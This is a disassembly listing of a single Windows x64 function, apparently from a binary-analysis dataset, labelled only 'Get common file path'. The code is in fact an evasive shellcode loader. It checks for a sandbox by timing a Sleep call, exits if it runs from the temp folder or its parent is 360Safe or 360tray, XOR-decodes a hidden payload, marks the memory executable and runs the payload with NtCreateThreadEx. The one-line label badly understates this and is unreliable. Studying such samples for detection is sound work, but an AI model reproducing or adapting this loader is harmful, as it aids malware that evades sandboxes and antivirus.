Function at 0x140002f1d
Capabilities:
Get common file path

Disassembly:
jmp 0x140007f00
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0xd88
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x25a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xda8]
mov rax, qword [0x140177ec0]
xor rax, rbp
mov qword [rbp + 0xd10], rax
lea rcx, [0x1401880fb]
call fcn.140003eae
nop
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov qword [rbp + 8], rax
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 8]
mov rcx, qword [rbp + 0x28]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0x12c
jne 0x140007fa2
lea rcx, str.Sandbox_detected__n
call fcn.140002626
nop
xor eax, eax
jmp 0x140008462
lea rcx, str.No_sandbox_detected._n
call fcn.140002626
nop
mov r8d, 0x104
lea rdx, [rbp + 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [rbp + 0x524], eax
cmp dword [rbp + 0x524], 0
je 0x140007fdc
cmp dword [rbp + 0x524], 0x104
jb 0x140007ff3
lea rcx, str.Error_getting_executable_path._n
call fcn.140002626
nop
mov eax, 1
jmp 0x140008462
lea rdx, [rbp + 0x2d0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [rbp + 0x544], eax
cmp dword [rbp + 0x544], 0
je 0x140008020
cmp dword [rbp + 0x544], 0x104
jb 0x140008037
lea rcx, str.Error_getting_temporary_directory._n
call fcn.140002626
nop
mov eax, 1
jmp 0x140008462
mov eax, dword [rbp + 0x544]
dec eax
mov eax, eax
movsx eax, byte [rbp + rax + 0x2d0]
cmp eax, 0x5c
je 0x140008070
lea r9, [rbp + 0x2d0]
lea r8, [0x1400eb654]
mov edx, 0x104
lea rcx, [rbp + 0x400]
call fcn.140002ffe
nop
jmp 0x140008090
lea r9, [rbp + 0x2d0]
lea r8, [0x1400eb54c]
mov edx, 0x104
lea rcx, [rbp + 0x400]
call fcn.140002ffe
nop
lea rcx, [rbp + 0x70]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
nop
mov eax, dword [rbp + 0x524]
dec eax
mov eax, eax
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x5c
je 0x1400080ce
lea r9, [rbp + 0x70]
lea r8, [0x1400eb654]
mov edx, 0x104
lea rcx, [rbp + 0x1a0]
call fcn.140002ffe
nop
jmp 0x1400080eb
lea r9, [rbp + 0x70]
lea r8, [0x1400eb54c]
mov edx, 0x104
lea rcx, [rbp + 0x1a0]
call fcn.140002ffe
nop
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x1a0]
call fcn.140004340
test eax, eax
jne 0x140008116
lea rcx, str.The_executable_is_running_from_the_temp_directory._Exiting._n
call fcn.140002626
nop
xor eax, eax
jmp 0x140008462
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x564], eax
mov ecx, dword [rbp + 0x564]
call fcn.140003a67
mov dword [rbp + 0x584], eax
mov r8d, 0x208
lea rdx, [rbp + 0x5b0]
mov ecx, dword [rbp + 0x584]
call fcn.140002ca7
nop
lea rdx, str.360Safe.exe
lea rcx, [rbp + 0x5b0]
call fcn.1400016c7
test rax, rax
jne 0x1400081ac
lea rdx, str.360tray.exe
lea rcx, [rbp + 0x5b0]
call fcn.1400016c7
test rax, rax
jne 0x1400081ac
lea rdx, str.360Safe
lea rcx, [rbp + 0x5b0]
call fcn.1400016c7
test rax, rax
jne 0x1400081ac
lea rdx, str.360Tray.exe
lea rcx, [rbp + 0x5b0]
call fcn.1400016c7
test rax, rax
je 0x1400081c3
lea rcx, str.Detected_unwanted_parent_process._Exiting..._n
call fcn.1400011e5
nop
mov eax, 1
jmp 0x140008462
lea rax, section..data
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
movsxd rax, dword [rax + 4]
mov rcx, rax
call fcn.140002b6c
mov qword [rbp + 0x7f8], rax
mov rax, qword [rbp + 0x7d8]
movsxd rax, dword [rax + 4]
mov rcx, qword [rbp + 0x7d8]
add rcx, 0x18
mov r8, rax
mov rdx, rcx
mov rcx, qword [rbp + 0x7f8]
call fcn.1400026a3
nop
mov qword [rbp + 0x818], 0
mov rax, qword [rbp + 0x7d8]
movsxd rax, dword [rax + 4]
mov qword [rbp + 0x838], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x838]
xor r8d, r8d
lea rdx, [rbp + 0x818]
mov rcx, 0xffffffffffffffff
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [rbp + 0x854], eax
cmp dword [rbp + 0x854], 0
jge 0x140008277
mov eax, 1
jmp 0x140008462
mov dword [rbp + 0x874], 0
jmp 0x140008291
mov eax, dword [rbp + 0x874]
inc eax
mov dword [rbp + 0x874], eax
mov rax, qword [rbp + 0x7d8]
mov eax, dword [rax + 4]
cmp dword [rbp + 0x874], eax
jge 0x1400082f9
movsxd rax, dword [rbp + 0x874]
mov qword [rbp + 0xd08], rax
mov eax, dword [rbp + 0x874]
cdq
and edx, 7
add eax, edx
and eax, 7
sub eax, edx
cdqe
mov rcx, qword [rbp + 0x7d8]
movsx eax, byte [rcx + rax + 8]
mov rcx, qword [rbp + 0x7f8]
mov rdx, qword [rbp + 0xd08]
movsx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rbp + 0x874]
mov rdx, qword [rbp + 0x7f8]
mov byte [rdx + rcx], al
jmp 0x140008283
mov rax, qword [rbp + 0x7d8]
movsxd rax, dword [rax + 4]
mov r8, rax
mov rdx, qword [rbp + 0x7f8]
mov rcx, qword [rbp + 0x818]
call fcn.140004192
nop
mov dword [rbp + 0x894], 0
lea rax, [rbp + 0x894]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rbp + 0x838]
lea rdx, [rbp + 0x818]
mov rcx, 0xffffffffffffffff
call sub.ntdll.dll_NtProtectVirtualMemory
mov dword [rbp + 0x8b4], eax
cmp dword [rbp + 0x8b4], 0
jge 0x140008377
lea rcx, [0x1400eb790]
call fcn.140002626
nop
mov eax, 2
jmp 0x140008462
mov qword [rbp + 0x8d8], 0xffffffffffffffff
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rax, qword [rbp + 0x818]
mov qword [rsp + 0x28], rax
lea rax, [0x140003fa3]
mov qword [rsp + 0x20], rax
mov r9, 0xffffffffffffffff
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0x8d8]
call sub.ntdll.dll_NtCreateThreadEx
mov dword [rbp + 0x8f4], eax
cmp dword [rbp + 0x8f4], 0
jge 0x14000840c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x1400eb798]
call fcn.140002626
nop
mov eax, 3
jmp 0x140008462
mov qword [rbp + 0x918], 0xffffffffff676980
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x8d8]
call sub.ntdll.dll_NtWaitForSingleObject
mov dword [rbp + 0x934], eax
cmp dword [rbp + 0x934], 0
jge 0x140008453
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x1400eb7b8]
call fcn.140002626
nop
mov eax, 4
jmp 0x140008462
mov rcx, qword [rbp + 0x7f8]
call fcn.1400020fe
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x1400eb4a0]
call fcn.14000366b
mov rax, rdi
mov rcx, qword [rbp + 0xd10]
xor rcx, rbp
call fcn.14000269e
lea rsp, [rbp + 0xd28]
pop rdi
pop rbp
ret